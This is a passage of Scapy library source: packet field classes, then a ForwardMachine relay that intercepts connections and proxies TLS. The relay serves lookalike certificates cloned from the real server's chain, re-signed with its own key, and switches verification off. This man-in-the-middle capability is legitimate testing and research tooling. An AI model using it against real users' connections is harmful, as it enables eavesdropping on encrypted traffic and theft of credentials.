self.names.index(attr)) else: self.value &= ~(2 ** self.names.index(attr)) else: return super(FlagValue, self).__setattr__(attr, value) def copy(self): # type: () -> FlagValue return self.__class__(self.value, self.names) class FlagsField(_BitField[Optional[Union[int, FlagValue]]]): """ Handle Flag type field Make sure all your flags have a label Example (list): >>> from scapy.packet import Packet >>> class FlagsTest(Packet): fields_desc = [FlagsField("flags", 0, 8, ["f0", "f1", "f2", "f3", "f4", "f5", "f6", "f7"])] # noqa: E501 >>> FlagsTest(flags=9).show2() ###[ FlagsTest ]### flags = f0+f3 Example (str): >>> from scapy.packet import Packet >>> class TCPTest(Packet): fields_desc = [ BitField("reserved", 0, 7), FlagsField("flags", 0x2, 9, "FSRPAUECN") ] >>> TCPTest(flags=3).show2() ###[ FlagsTest ]### reserved = 0 flags = FS Example (dict): >>> from scapy.packet import Packet >>> class FlagsTest2(Packet): fields_desc = [ FlagsField("flags", 0x2, 16, { 0x0001: "A", 0x0008: "B", }) ] :param name: field's name :param default: default value for the field :param size: number of bits in the field (in bits). if negative, LE :param names: (list or str or dict) label for each flag If it's a str or a list, the least Significant Bit tag's name is written first. """ ismutable = True __slots__ = ["names"] def __init__(self, name, # type: str default, # type: Optional[Union[int, FlagValue]] size, # type: int names, # type: Union[List[str], str, Dict[int, str]] **kwargs # type: Any ): # type: (...) -> None # Convert the dict to a list if isinstance(names, dict): tmp = ["bit_%d" % i for i in range(abs(size))] for i, v in names.items(): tmp[int(math.floor(math.log(i, 2)))] = v names = tmp # Store the names as str or list self.names = names super(FlagsField, self).__init__(name, default, size, **kwargs) def _fixup_val(self, x): # type: (Any) -> Optional[FlagValue] """Returns a FlagValue instance when needed. Internal method, to be used in *2i() and i2*() methods. """ if isinstance(x, (FlagValue, VolatileValue)): return x # type: ignore if x is None: return None return FlagValue(x, self.names) def any2i(self, pkt, x): # type: (Optional[Packet], Any) -> Optional[FlagValue] return self._fixup_val(super(FlagsField, self).any2i(pkt, x)) def m2i(self, pkt, x): # type: (Optional[Packet], int) -> Optional[FlagValue] return self._fixup_val(super(FlagsField, self).m2i(pkt, x)) def i2h(self, pkt, x): # type: (Optional[Packet], Any) -> Optional[FlagValue] return self._fixup_val(super(FlagsField, self).i2h(pkt, x)) def i2repr(self, pkt, # type: Optional[Packet] x, # type: Any ): # type: (...) -> str if isinstance(x, (list, tuple)): return repr(type(x)( "None" if v is None else str(self._fixup_val(v)) for v in x )) return "None" if x is None else str(self._fixup_val(x)) MultiFlagsEntry = collections.namedtuple('MultiFlagsEntry', ['short', 'long']) class MultiFlagsField(_BitField[Set[str]]): __slots__ = FlagsField.__slots__ + ["depends_on"] def __init__(self, name, # type: str default, # type: Set[str] size, # type: int names, # type: Dict[int, Dict[int, MultiFlagsEntry]] depends_on, # type: Callable[[Optional[Packet]], int] ): # type: (...) -> None self.names = names self.depends_on = depends_on super(MultiFlagsField, self).__init__(name, default, size) def any2i(self, pkt, x): # type: (Optional[Packet], Any) -> Set[str] if not isinstance(x, (set, int)): raise ValueError('set expected') if pkt is not None: if isinstance(x, int): return self.m2i(pkt, x) else: v = self.depends_on(pkt) if v is not None: assert v in self.names, 'invalid dependency' these_names = self.names[v] s = set() for i in x: for val in these_names.values(): if val.short == i: s.add(i) break else: assert False, 'Unknown flag "{}" with this dependency'.format(i) # noqa: E501 continue return s if isinstance(x, int): return set() return x def i2m(self, pkt, x): # type: (Optional[Packet], Optional[Set[str]]) -> int v = self.depends_on(pkt) these_names = self.names.get(v, {}) r = 0 if x is None: return r for flag_set in x: for i, val in these_names.items(): if val.short == flag_set: r |= 1 << i break else: r |= 1 << int(flag_set[len('bit '):]) return r def m2i(self, pkt, x): # type: (Optional[Packet], int) -> Set[str] v = self.depends_on(pkt) these_names = self.names.get(v, {}) r = set() i = 0 while x: if x & 1: if i in these_names: r.add(these_names[i].short) else: r.add('bit {}'.format(i)) x >>= 1 i += 1 return r def i2repr(self, pkt, x): # type: (Optional[Packet], Set[str]) -> str v = self.depends_on(pkt) these_names = self.names.get(v, {}) r = set() for flag_set in x: for i in these_names.values(): if i.short == flag_set: r.add("{} ({})".format(i.long, i.short)) break else: r.add(flag_set) return repr(r) class FixedPointField(BitField): __slots__ = ['frac_bits'] def __init__(self, name, default, size, frac_bits=16): # type: (str, int, int, int) -> None self.frac_bits = frac_bits super(FixedPointField, self).__init__(name, default, size) def any2i(self, pkt, val): # type: (Optional[Packet], Optional[float]) -> Optional[int] if val is None: return val ival = int(val) fract = int((val - ival) * 2**self.frac_bits) return (ival << self.frac_bits) | fract def i2h(self, pkt, val): # type: (Optional[Packet], Optional[int]) -> Optional[EDecimal] # A bit of trickery to get precise floats if val is None: return val int_part = val >> self.frac_bits pw = 2.0**self.frac_bits frac_part = EDecimal(val & (1 << self.frac_bits) - 1) frac_part /= pw # type: ignore return int_part + frac_part.normalize(int(math.log10(pw))) def i2repr(self, pkt, val): # type: (Optional[Packet], int) -> str return str(self.i2h(pkt, val)) # Base class for IPv4 and IPv6 Prefixes inspired by IPField and IP6Field. # Machine values are encoded in a multiple of wordbytes bytes. class _IPPrefixFieldBase(Field[Tuple[str, int], Tuple[bytes, int]]): __slots__ = ["wordbytes", "maxbytes", "aton", "ntoa", "length_from"] def __init__( self, name, # type: str default, # type: Tuple[str, int] wordbytes, # type: int maxbytes, # type: int aton, # type: Callable[..., Any] ntoa, # type: Callable[..., Any] length_from=None # type: Optional[Callable[[Packet], int]] ): # type: (...) -> None self.wordbytes = wordbytes self.maxbytes = maxbytes self.aton = aton self.ntoa = ntoa Field.__init__(self, name, default, "%is" % self.maxbytes) if length_from is None: length_from = lambda x: 0 self.length_from = length_from def _numbytes(self, pfxlen): # type: (int) -> int wbits = self.wordbytes * 8 return ((pfxlen + (wbits - 1)) // wbits) * self.wordbytes def h2i(self, pkt, x): # type: (Optional[Packet], str) -> Tuple[str, int] # "fc00:1::1/64" -> ("fc00:1::1", 64) [pfx, pfxlen] = x.split('/') self.aton(pfx) # check for validity return (pfx, int(pfxlen)) def i2h(self, pkt, x): # type: (Optional[Packet], Tuple[str, int]) -> str # ("fc00:1::1", 64) -> "fc00:1::1/64" (pfx, pfxlen) = x return "%s/%i" % (pfx, pfxlen) def i2m(self, pkt, # type: Optional[Packet] x # type: Optional[Tuple[str, int]] ): # type: (...) -> Tuple[bytes, int] # ("fc00:1::1", 64) -> (b"\xfc\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01", 64) # noqa: E501 if x is None: pfx, pfxlen = "", 0 else: (pfx, pfxlen) = x s = self.aton(pfx) return (s[:self._numbytes(pfxlen)], pfxlen) def m2i(self, pkt, x): # type: (Optional[Packet], Tuple[bytes, int]) -> Tuple[str, int] # (b"\xfc\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01", 64) -> ("fc00:1::1", 64) # noqa: E501 (s, pfxlen) = x if len(s) < self.maxbytes: s = s + (b"\0" * (self.maxbytes - len(s))) return (self.ntoa(s), pfxlen) def any2i(self, pkt, x): # type: (Optional[Packet], Optional[Any]) -> Tuple[str, int] if x is None: return (self.ntoa(b"\0" * self.maxbytes), 1) return self.h2i(pkt, x) def i2len(self, pkt, x): # type: (Packet, Tuple[str, int]) -> int (_, pfxlen) = x return pfxlen def addfield(self, pkt, s, val): # type: (Packet, bytes, Optional[Tuple[str, int]]) -> bytes (rawpfx, pfxlen) = self.i2m(pkt, val) fmt = "!%is" % self._numbytes(pfxlen) return s + struct.pack(fmt, rawpfx) def getfield(self, pkt, s): # type: (Packet, bytes) -> Tuple[bytes, Tuple[str, int]] pfxlen = self.length_from(pkt) numbytes = self._numbytes(pfxlen) fmt = "!%is" % numbytes return s[numbytes:], self.m2i(pkt, (struct.unpack(fmt, s[:numbytes])[0], pfxlen)) # noqa: E501 class IPPrefixField(_IPPrefixFieldBase): def __init__( self, name, # type: str default, # type: Tuple[str, int] wordbytes=1, # type: int length_from=None # type: Optional[Callable[[Packet], int]] ): _IPPrefixFieldBase.__init__( self, name, default, wordbytes, 4, inet_aton, inet_ntoa, length_from ) class IP6PrefixField(_IPPrefixFieldBase): def __init__( self, name, # type: str default, # type: Tuple[str, int] wordbytes=1, # type: int length_from=None # type: Optional[Callable[[Packet], int]] ): # type: (...) -> None _IPPrefixFieldBase.__init__( self, name, default, wordbytes, 16, lambda a: inet_pton(socket.AF_INET6, a), lambda n: inet_ntop(socket.AF_INET6, n), length_from ) class UTCTimeField(Field[float, int]): __slots__ = ["epoch", "delta", "strf", "use_msec", "use_micro", "use_nano", "custom_scaling"] def __init__(self, name, # type: str default, # type: int use_msec=False, # type: bool use_micro=False, # type: bool use_nano=False, # type: bool epoch=None, # type: Optional[Tuple[int, int, int, int, int, int, int, int, int]] # noqa: E501 strf="%a, %d %b %Y %H:%M:%S %z", # type: str custom_scaling=None, # type: Optional[int] fmt="I" # type: str ): # type: (...) -> None Field.__init__(self, name, default, fmt=fmt) mk_epoch = EPOCH if epoch is None else calendar.timegm(epoch) self.epoch = mk_epoch self.delta = mk_epoch - EPOCH self.strf = strf self.use_msec = use_msec self.use_micro = use_micro self.use_nano = use_nano self.custom_scaling = custom_scaling def i2repr(self, pkt, x): # type: (Optional[Packet], float) -> str if x is None: x = time.time() - self.delta elif self.use_msec: x = x / 1e3 elif self.use_micro: x = x / 1e6 elif self.use_nano: x = x / 1e9 elif self.custom_scaling: x = x / self.custom_scaling x += self.delta # To make negative timestamps work on all plateforms (e.g. Windows), # we need a trick. t = ( datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=x) ).strftime(self.strf) return "%s (%d)" % (t, int(x)) def i2m(self, pkt, x): # type: (Optional[Packet], Optional[float]) -> int if x is None: x = time.time() - self.delta if self.use_msec: x = x * 1e3 elif self.use_micro: x = x * 1e6 elif self.use_nano: x = x * 1e9 elif self.custom_scaling: x = x * self.custom_scaling return int(x) return int(x) class SecondsIntField(Field[float, int]): __slots__ = ["use_msec", "use_micro", "use_nano"] def __init__(self, name, default, use_msec=False, use_micro=False, use_nano=False): # type: (str, int, bool, bool, bool) -> None Field.__init__(self, name, default, "I") self.use_msec = use_msec self.use_micro = use_micro self.use_nano = use_nano def i2repr(self, pkt, x): # type: (Optional[Packet], Optional[float]) -> str if x is None: y = 0 # type: Union[int, float] elif self.use_msec: y = x / 1e3 elif self.use_micro: y = x / 1e6 elif self.use_nano: y = x / 1e9 else: y = x return "%s sec" % y class _ScalingField(object): def __init__(self, name, # type: str default, # type: float scaling=1, # type: Union[int, float] unit="", # type: str offset=0, # type: Union[int, float] ndigits=3, # type: int fmt="B", # type: str ): # type: (...) -> None self.scaling = scaling self.unit = unit self.offset = offset self.ndigits = ndigits Field.__init__(self, name, default, fmt) # type: ignore def i2m(self, pkt, # type: Optional[Packet] x # type: Optional[Union[int, float]] ): # type: (...) -> Union[int, float] if x is None: x = 0 x = (x - self.offset) / self.scaling if isinstance(x, float) and self.fmt[-1] != "f": # type: ignore x = int(round(x)) return x def m2i(self, pkt, x): # type: (Optional[Packet], Union[int, float]) -> Union[int, float] x = x * self.scaling + self.offset if isinstance(x, float) and self.fmt[-1] != "f": # type: ignore x = round(x, self.ndigits) return x def any2i(self, pkt, x): # type: (Optional[Packet], Any) -> Union[int, float] if isinstance(x, (str, bytes)): x = struct.unpack(self.fmt, bytes_encode(x))[0] # type: ignore x = self.m2i(pkt, x) if not isinstance(x, (int, float)): raise ValueError("Unknown type") return x def i2repr(self, pkt, x): # type: (Optional[Packet], Union[int, float]) -> str return "%s %s" % ( self.i2h(pkt, x), # type: ignore self.unit ) def randval(self): # type: () -> RandFloat value = Field.randval(self) # type: ignore if value is not None: min_val = round(value.min * self.scaling + self.offset, self.ndigits) max_val = round(value.max * self.scaling + self.offset, self.ndigits) return RandFloat(min(min_val, max_val), max(min_val, max_val)) class ScalingField(_ScalingField, Field[Union[int, float], Union[int, float]]): """ Handle physical values which are scaled and/or offset for communication Example: >>> from scapy.packet import Packet >>> class ScalingFieldTest(Packet): fields_desc = [ScalingField('data', 0, scaling=0.1, offset=-1, unit='mV')] # noqa: E501 >>> ScalingFieldTest(data=10).show2() ###[ ScalingFieldTest ]### data= 10.0 mV >>> hexdump(ScalingFieldTest(data=10)) 0000 6E n >>> hexdump(ScalingFieldTest(data=b"\x6D")) 0000 6D m >>> ScalingFieldTest(data=b"\x6D").show2() ###[ ScalingFieldTest ]### data= 9.9 mV bytes(ScalingFieldTest(...)) will produce 0x6E in this example. 0x6E is 110 (decimal). This is calculated through the scaling factor and the offset. "data" was set to 10, which means, we want to transfer the physical value 10 mV. To calculate the value, which has to be sent on the bus, the offset has to subtracted and the scaling has to be applied by division through the scaling factor. bytes = (data - offset) / scaling bytes = ( 10 - (-1) ) / 0.1 bytes = 110 = 0x6E If you want to force a certain internal value, you can assign a byte- string to the field (data=b"\x6D"). If a string of a bytes object is given to the field, no internal value conversion will be applied :param name: field's name :param default: default value for the field :param scaling: scaling factor for the internal value conversion :param unit: string for the unit representation of the internal value :param offset: value to offset the internal value during conversion :param ndigits: number of fractional digits for the internal conversion :param fmt: struct.pack format used to parse and serialize the internal value from and to machine representation # noqa: E501 """ class BitScalingField(_ScalingField, BitField): # type: ignore """ A ScalingField that is a BitField """ def __init__(self, name, default, size, *args, **kwargs): # type: (str, int, int, *Any, **Any) -> None _ScalingField.__init__(self, name, default, *args, **kwargs) BitField.__init__(self, name, default, size) # type: ignore class OUIField(X3BytesField): """ A field designed to carry a OUI (3 bytes) """ def i2repr(self, pkt, val): # type: (Optional[Packet], int) -> str by_val = struct.pack("!I", val or 0)[1:] oui = str2mac(by_val + b"\0" * 3)[:8] if conf.manufdb: fancy = conf.manufdb._get_manuf(oui) if fancy != oui: return "%s (%s)" % (fancy, oui) return oui class UUIDField(Field[UUID, bytes]): """Field for UUID storage, wrapping Python's uuid.UUID type. The internal storage format of this field is ``uuid.UUID`` from the Python standard library. There are three formats (``uuid_fmt``) for this field type: * ``FORMAT_BE`` (default): the UUID is six fields in big-endian byte order, per RFC 4122. This format is used by DHCPv6 (RFC 6355) and most network protocols. * ``FORMAT_LE``: the UUID is six fields, with ``time_low``, ``time_mid`` and ``time_high_version`` in little-endian byte order. This *doesn't* change the arrangement of the fields from RFC 4122. This format is used by Microsoft's COM/OLE libraries. * ``FORMAT_REV``: the UUID is a single 128-bit integer in little-endian byte order. This *changes the arrangement* of the fields. This format is used by Bluetooth Low Energy. Note: You should use the constants here. The "human encoding" of this field supports a number of different input formats, and wraps Python's ``uuid.UUID`` library appropriately: * Given a bytearray, bytes or str of 16 bytes, this class decodes UUIDs in wire format. * Given a bytearray, bytes or str of other lengths, this delegates to ``uuid.UUID`` the Python standard library. This supports a number of different encoding options -- see the Python standard library documentation for more details. * Given an int or long, presumed to be a 128-bit integer to pass to ``uuid.UUID``. * Given a tuple: * Tuples of 11 integers are treated as having the last 6 integers forming the ``node`` field, and are merged before being passed as a tuple of 6 integers to ``uuid.UUID``. * Otherwise, the tuple is passed as the ``fields`` parameter to ``uuid.UUID`` directly without modification. ``uuid.UUID`` expects a tuple of 6 integers. Other types (such as ``uuid.UUID``) are passed through. """ __slots__ = ["uuid_fmt"] FORMAT_BE = 0 FORMAT_LE = 1 FORMAT_REV = 2 # Change this when we get new formats FORMATS = (FORMAT_BE, FORMAT_LE, FORMAT_REV) def __init__(self, name, default, uuid_fmt=FORMAT_BE): # type: (str, Optional[int], int) -> None self.uuid_fmt = uuid_fmt self._check_uuid_fmt() Field.__init__(self, name, default, "16s") def _check_uuid_fmt(self): # type: () -> None """Checks .uuid_fmt, and raises an exception if it is not valid.""" if self.uuid_fmt not in UUIDField.FORMATS: raise FieldValueRangeException( "Unsupported uuid_fmt ({})".format(self.uuid_fmt)) def i2m(self, pkt, x): # type: (Optional[Packet], Optional[UUID]) -> bytes self._check_uuid_fmt() if x is None: return b'\0' * 16 if self.uuid_fmt == UUIDField.FORMAT_BE: return x.bytes elif self.uuid_fmt == UUIDField.FORMAT_LE: return x.bytes_le elif self.uuid_fmt == UUIDField.FORMAT_REV: return x.bytes[::-1] else: raise FieldAttributeException("Unknown fmt") def m2i(self, pkt, # type: Optional[Packet] x, # type: bytes ): # type: (...) -> UUID self._check_uuid_fmt() if self.uuid_fmt == UUIDField.FORMAT_BE: return UUID(bytes=x) elif self.uuid_fmt == UUIDField.FORMAT_LE: return UUID(bytes_le=x) elif self.uuid_fmt == UUIDField.FORMAT_REV: return UUID(bytes=x[::-1]) else: raise FieldAttributeException("Unknown fmt") def any2i(self, pkt, # type: Optional[Packet] x # type: Any # noqa: E501 ): # type: (...) -> Optional[UUID] # Python's uuid doesn't handle bytearray, so convert to an immutable # type first. if isinstance(x, bytearray): x = bytes_encode(x) if isinstance(x, int): u = UUID(int=x) elif isinstance(x, tuple): if len(x) == 11: # For compatibility with dce_rpc: this packs into a tuple where # elements 7..10 are the 48-bit node ID. node = 0 for i in x[5:]: node = (node << 8) | i x = (x[0], x[1], x[2], x[3], x[4], node) u = UUID(fields=x) elif isinstance(x, (str, bytes)): if len(x) == 16: # Raw bytes u = self.m2i(pkt, bytes_encode(x)) else: u = UUID(plain_str(x)) elif isinstance(x, (UUID, RandUUID)): u = cast(UUID, x) else: return None return u @staticmethod def randval(): # type: () -> RandUUID return RandUUID() class UUIDEnumField(UUIDField, _EnumField[UUID]): __slots__ = EnumField.__slots__ def __init__(self, name, default, enum, uuid_fmt=0): # type: (str, Optional[int], Any, int) -> None _EnumField.__init__(self, name, default, enum, "16s") # type: ignore UUIDField.__init__(self, name, default, uuid_fmt=uuid_fmt) def any2i(self, pkt, x): # type: (Optional[Packet], Any) -> UUID return _EnumField.any2i(self, pkt, x) # type: ignore def i2repr(self, pkt, # type: Optional[Packet] x, # type: UUID ): # type: (...) -> Any return _EnumField.i2repr(self, pkt, x) class BitExtendedField(Field[Optional[int], int]): """ Low E Bit Extended Field This type of field has a variable number of bytes. Each byte is defined as follows: - 7 bits of data - 1 bit an an extension bit: + 0 means it is last byte of the field ("stopping bit") + 1 means there is another byte after this one ("forwarding bit") To get the actual data, it is necessary to hop the binary data byte per byte and to check the extension bit until 0 """ __slots__ = ["extension_bit"] def __init__(self, name, default, extension_bit): # type: (str, Optional[Any], int) -> None Field.__init__(self, name, default, "B") assert extension_bit in [7, 0] self.extension_bit = extension_bit def addfield(self, pkt, s, val): # type: (Optional[Packet], bytes, Optional[int]) -> bytes val = self.i2m(pkt, val) if not val: return s + b"\0" rv = b"" mask = 1 << self.extension_bit shift = (self.extension_bit + 1) % 8 while val: bv = (val & 0x7F) << shift val = val >> 7 if val: bv |= mask rv += struct.pack("!B", bv) return s + rv def getfield(self, pkt, s): # type: (Optional[Any], bytes) -> Tuple[bytes, Optional[int]] val = 0 smask = 1 << self.extension_bit mask = 0xFF & ~ (1 << self.extension_bit) shift = (self.extension_bit + 1) % 8 i = 0 while s: val |= ((s[0] & mask) >> shift) << (7 * i) if (s[0] & smask) == 0: # extension bit is 0 # end s = s[1:] break s = s[1:] i += 1 return s, self.m2i(pkt, val) class LSBExtendedField(BitExtendedField): # This is a BitExtendedField with the extension bit on LSB def __init__(self, name, default): # type: (str, Optional[Any]) -> None BitExtendedField.__init__(self, name, default, extension_bit=0) class MSBExtendedField(BitExtendedField): # This is a BitExtendedField with the extension bit on MSB def __init__(self, name, default): # type: (str, Optional[Any]) -> None BitExtendedField.__init__(self, name, default, extension_bit=7) ================================================ FILE: scapy/fwdmachine.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ Forwarding machine. """ import enum import functools import os import select import socket import ssl import threading import traceback from scapy.asn1.asn1 import ASN1_OID from scapy.config import conf from scapy.data import MTU from scapy.packet import Packet from scapy.supersocket import StreamSocket, StreamSocketPeekless from scapy.themes import DefaultTheme from scapy.utils import get_temp_file from scapy.volatile import RandInt from scapy.layers.tls.all import ( Cert, PrivKeyECDSA, ) from scapy.layers.x509 import ( X509_AlgorithmIdentifier, ) from cryptography.hazmat.primitives import serialization # Typing imports from typing import ( Type, Optional, ) class ForwardMachine: """ Forward Machine This binds a port and relay any connections from 'clients' to their original destination a 'server'. Forwarding machine can be used in two modes: - SERVER: the server binds a port on its local IP and forwards packets to a ``remote_address``. - TPROXY: the server binds can intercept packets to any IP destination, provided that they are routed through the local server, and some tweaking of the OS routes; The TPROXY mode is expected to be used on a router with FORWARDING and only a specific set of nat rules set to -j TPROXY. A script called 'vethrelay.sh' is provided in the documentation for setting this up. ForwardMachine supports transparently proxifying TLS. By default, it will generate lookalike self-signed certificates, but it's also possible to specify a certificate by using crtfile and keyfile. Parameters: :param port: the port to listen on :param cls: the scapy class to parse on that port :param af: the address family to use (default AF_INET) :param proto: the proto to use (default SOCK_STREAM) :param remote_address: the IP to use in SERVER mode, or by default in TPROXY when the destination is the local IP. :param remote_af: (optional) if provided, use a different address family to connect to the remote host. :param bind_address: the IP to bind locally. "0.0.0.0" by default in SERVER mode, but "2.2.2.2" by default in TPROXY (if you are using the provided 'vethrelay.sh' script). :param tls: enable TLS (in both the server and client) :param crtfile: (optional) if provided, uses a certificate instead of self signed ones. :param keyfile: (optional) path to the key file :param timeout: the timeout before connecting to the real server (default 2) Methods to override: :func xfrmcs: a function to call when forwarding a packet from the 'client' to the server. If it raises a FORWARD exception, the packet is forwarded as it. If it raises a DROP Exception, the packet is discarded. If it raises a FORWARD_REPLACE(pkt) exception, then pkt is forwarded instead of the original packet. :func xfrmsc: same as xfrmcs for packets forwarded from the 'server' to the 'client'. """ class MODE(enum.Enum): SERVER = 0 TPROXY = 1 def __init__( self, mode: MODE, port: int, cls: Type[Packet], af: socket.AddressFamily = socket.AF_INET, proto: socket.SocketKind = socket.SOCK_STREAM, remote_address: str = None, remote_af: Optional[socket.AddressFamily] = None, bind_address: str = None, tls: bool = False, crtfile: Optional[str] = None, keyfile: Optional[str] = None, timeout: int = 2, MTU: int = MTU, **kwargs, ): self.mode = mode self.port = port self.cls = cls self.af = af self.remote_af = remote_af if remote_af is not None else af self.proto = proto self.tls = tls self.crtfile = crtfile self.keyfile = keyfile self.timeout = timeout self.MTU = MTU self.remote_address = remote_address if self.tls or self.af == 40: # TLS or VSOCK self.sockcls = StreamSocketPeekless else: self.sockcls = StreamSocket # Chose 'bind_address' depending on the mode self.bind_address = bind_address if self.bind_address is None: if self.mode == ForwardMachine.MODE.SERVER: self.bind_address = "0.0.0.0" elif self.mode == ForwardMachine.MODE.TPROXY: self.bind_address = "2.2.2.2" else: raise ValueError("Unknown mode :/") red = lambda z: functools.reduce(lambda x, y: x + y, z) # Utils self.ct = DefaultTheme() self.local_ips = red(red(list(x.ips.values())) for x in conf.ifaces.values()) self.cache = {} super(ForwardMachine, self).__init__(**kwargs) def run(self): """ Function to start the relay server """ self.ssock = socket.socket(self.af, self.proto, 0) self.ssock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) if self.mode == ForwardMachine.MODE.TPROXY: self.ssock.setsockopt(socket.SOL_IP, socket.IP_TRANSPARENT, 1) # TPROXY ! self.ssock.bind((self.bind_address, self.port)) self.ssock.listen(5) print(self.ct.green("Relay server waiting on port %s" % self.port)) while True: conn, addr = self.ssock.accept() # Calc dest dest = conn.getsockname() if self.mode == ForwardMachine.MODE.SERVER or ( dest[0] in self.local_ips and self.remote_address ): dest = (self.remote_address,) + dest[1:] print(self.ct.green("%s -> %s connected !" % (repr(addr), repr(dest)))) try: threading.Thread( target=self.handler, args=(conn, addr, dest), ).start() except Exception: print(self.ct.red("%s errored !" % repr(addr))) conn.close() pass def xfrmcs(self, pkt, ctx): """ DEV: overwrite me to handle client->server """ raise self.FORWARD() def xfrmsc(self, pkt, ctx): """ DEV: overwrite me to handle server->client """ raise self.FORWARD() # Command Exceptions class DROP(Exception): # Drop this packet. pass class FORWARD(Exception): # Forward this packet. pass class FORWARD_REPLACE(Exception): # Replace the content and forward. def __init__(self, data): self.data = data class ANSWER(Exception): # Answer directly def __init__(self, data): self.data = data class REDIRECT_TO(Exception): # Redirect this socket to another destination def __init__(self, host, port, then=None, server_hostname=None): self.dest = (host, port) self.server_hostname = server_hostname self.then = then or ForwardMachine.FORWARD() class CONTEXT: """ CONTEXT object kept during a session """ def __init__(self, addr, dest): self.addr = addr self.dest = dest self.tls_sni_name = None # Retrieved when receiving a connection def print_reply(self, evt, cs, req, rep): if evt == self.FORWARD: if cs: print("C ==> S: %s" % req.summary()) else: print("S ==> C: %s" % req.summary()) elif evt == self.FORWARD_REPLACE: if cs: print("C /=> S: %s -> %s" % (req.summary(), rep.summary())) else: print("S /=> C: %s -> %s" % (req.summary(), rep.summary())) elif evt == self.DROP: if cs: print("C => 0: %s" % req.summary()) else: print("S => 0: %s" % req.summary()) elif evt == self.ANSWER: if cs: print("C <=| : %s -> %s" % (req.summary(), rep.summary())) else: print("S <=| : %s -> %s" % (req.summary(), rep.summary())) def destalias(self, dest): """ Alias a destination to another destination. A destination is the tuple (host, port) """ return dest def _getpeersock(self, dest, server_hostname=None): """ Get peer socket """ s = socket.socket(self.remote_af, self.proto) s.settimeout(self.timeout) ndest = self.destalias(dest) if ndest != dest: print("C: %s redirected to %s" % (repr(dest), repr(ndest))) dest = ndest s.connect(dest) return s def gen_alike_chain(self, certs, privkey): """ Modify a real certificate chain to be served by our own privatekey """ c, certs = certs[0], certs[1:] if certs: # Recursive: if there are certificates above this one in the chain, do them # first. certs = self.gen_alike_chain(certs, privkey) else: # Last certificate of the chain. Make it self-signed c.tbsCertificate.issuer = c.tbsCertificate.subject # Set SubjectPublicKeyInfo to the one from our private key c.setSubjectPublicKeyFromPrivateKey(privkey) # Filter out extensions that would cause trouble c.tbsCertificate.serialNumber.val = int( RandInt() ) # otherwise SEC_ERROR_REUSED_ISSUER_AND_SERIAL c.tbsCertificate.extensions = [ x for x in c.tbsCertificate.extensions if x.extnID not in [ "2.5.29.32", # CPS "2.5.29.31", # cRLDistributionPoints "1.3.6.1.5.5.7.1.1", # authorityInfoAccess "1.3.6.1.4.1.11129.2.4.2", # SCT "2.5.29.14", # subjectKeyIdentifier "2.5.29.35", # authorityKeyIdentifier ] ] # For now, we only provide a RSA private key, so we can only sign with that :/ c.tbsCertificate.signature = X509_AlgorithmIdentifier( algorithm=ASN1_OID("ecdsa-with-SHA384"), ) # Resign. c = Cert(privkey.resignCert(c)) # Return return [c] + certs def get_key_and_alike_chain(self, cas, dest, server_name): """ Generate a PrivateKey and a clone of the 'cas' certificate chain signed with it, if not already cached. The cache uses server_name or dest as key. """ ident = server_name or dest if ident in self.cache: return self.cache[ident] # Parse CAs certs = [Cert(c.public_bytes()) for c in cas] # certs = certs[:1] # Generate Private Key privkey = PrivKeyECDSA() # Iterate certs = self.gen_alike_chain(certs, privkey) # Build a chain object. This checks that everything is properly signed, and # re-order the certs. # chain = Chain(certs, cert0=certs[-1]) self.cache[ident] = privkey, certs return privkey, certs def handler(self, sock, addr, dest): """ Handler of a client socket """ ctx = self.CONTEXT(addr, dest) # we have a context object # Initialize peer socket ss = self._getpeersock(dest) # Wrap both server and peer sockets in SSL if self.tls: # Build client SSL context clisslcontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) clisslcontext.load_default_certs() clisslcontext.check_hostname = False clisslcontext.verify_mode = ssl.CERT_NONE # This acts as follows: # - start the server-side TLS handshake # - use the SNI callback to pop a client-side socket (using the real # provided SNI) # - serve the certificate _clisock = [ss] def cb_sni(sock, server_name, _): """ This callback occurs after the TLSClientHello is received by the server """ ss = _clisock[0] ctx.tls_sni_name = server_name # the requested SNI # Use that SNI to wrap the client socket ss = clisslcontext.wrap_socket(ss, server_hostname=server_name) # Get certificate chain cas = ss._sslobj.get_unverified_chain() if self.crtfile is None: # SELF-SIGNED mode # Generate private key based on the type of certificate privkey, certs = self.get_key_and_alike_chain( cas, dest, server_name ) # Load result certificate our SSL server # (this is dumb but we need to store them on disk) certfile = get_temp_file() with open(certfile, "w") as fd: for c in certs: fd.write(c.pem) keyfile = get_temp_file() with open(keyfile, "wb") as fd: password = os.urandom(32) fd.write( privkey.key.private_bytes( encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.BestAvailableEncryption( # noqa: E501 password ), ) ) else: # Certificate is provided certfile = self.crtfile keyfile = self.keyfile sslcontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) sslcontext.check_hostname = False sslcontext.verify_mode = ssl.CERT_NONE # note: server side sslcontext.load_cert_chain(certfile, keyfile, password=password) sock.context = sslcontext # Return success _clisock[0] = ss return None # Continue # Server SSL context sslcontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) sslcontext.sni_callback = cb_sni try: sock = sslcontext.wrap_socket(sock, server_side=True) except Exception as ex: print(self.ct.red("%s errored in SSL: %s" % (repr(addr), str(ex)))) sock.close() return ss = _clisock[0] # Wrap the sockets sock = self.sockcls(sock, self.cls) ss = self.sockcls(ss, self.cls) sock.streamsession = ss.streamsession try: while True: # Listen on both ends of the connection for thissock in select.select([ss, sock], [], [], 0)[0]: if thissock is ss: cs = 0 func = self.xfrmsc othersock = sock else: cs = 1 func = self.xfrmcs othersock = ss # get data try: data = thissock.recv(self.MTU) except EOFError: raise RuntimeError if not data: # Session needs more data continue try: # And pipe everything into the processdata try: func(data, ctx) # If this doesn't raise, it's a user error. print( self.ct.red( "%s ERROR: you must always raise in %s !" % func ) ) return except self.REDIRECT_TO as ex: # Replace the peer socket with a new socket oldss = ss ss = self._getpeersock( ex.dest, server_hostname=ex.server_hostname ) ss = self.sockcls(ss, self.cls) print( "C: %s redirected to %s" % (repr(ctx.dest), repr(ex.dest)) ) ctx.dest = ex.dest # update context # Shut the old one. 